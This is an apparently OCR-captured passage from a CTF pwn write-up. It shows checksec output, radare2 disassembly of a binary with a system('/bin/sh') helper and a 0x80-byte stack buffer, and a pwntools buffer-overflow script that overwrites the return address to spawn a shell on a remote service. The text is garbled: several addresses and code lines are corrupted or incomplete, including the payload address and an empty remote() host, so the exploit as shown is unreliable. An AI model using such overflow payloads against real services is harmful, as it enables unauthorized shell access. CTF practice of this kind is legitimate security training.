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root@kali:~/ctf/xctf/pwn/easy
[*]
Arch: amd64-64-1little
RELRO: No RELRO

Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
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[0x00400420]> afl
1 42 entryo

1 16 sym.callsystem
16 sym.imp.system

16 loc.imp.__gmon_start
[0x00400420]> axt sym.imp.
sym.imp.write sym.imp.system
sym.imp.read sym.imp._ libc_start_main
[0x00400420]> axt sym.imp.system
sym.callsystem 0x40059f [CALL] call sym.imp.system
[0x00400420]> axt sym.callsystem
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001 Ox0000068c Ox0040068c 13 14 (.rodata) ascii Hello, World\n

[0x00400420]> axt 0x00400684
sym.callsystem ©0x40059a [DATA] mov edi, str.bin_sh

BE sym.callsystem K RICHwACH

[0x00400420]> s sym.callsystem
[0x00400596]> pdf

y-- r1p:

/ (fcn) sym.callsystem 16

| sym.callsystem ();

| 0x00400596 55 push rbp

| 0x00400597 4889e5 mov rbp, rsp

| 0x0040059a bf84064000 mov edi, str.bin_sh ; 0x400684 ; "/bin/sh"
0x0040059f e8bcfeffff call sym.imp.system
0x004005a4 5d pop rbp
0x004005a5 c3 ret
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(fcn) sym.vulnerable_function 32
sym.vulnerable_function ();
; var int32_t var_86h @ rbp-0x80
; CALL XREF from main @ ©x4005ee
0x004005a6 55 push rbp
0x004005a7 4889e5 mov rbp, rsp
0x004005aa 4883c480 add rsp, -0x80

0x004005b2 ba00020000 mov edx, ©x200
0x004005b7 4889c6 mov rsi, rax
0x004005ba bf00000000 mov edi, ©
0x004005bf e8acfeffff call sym.imp.read
0x004005c4 c9 leave
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| 0x004005ae 488d4580 lea rax, gqword [var_86h]
|
|
|
|
|
\ 0x004005c5 c3 ret
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from pwn import
context.log level

conn remote( , 49826)
payload (0x80 + Ox8) + p64(Ox0e400596)
conn.recvuntil(

conn.send(payload)
conn.interactive()
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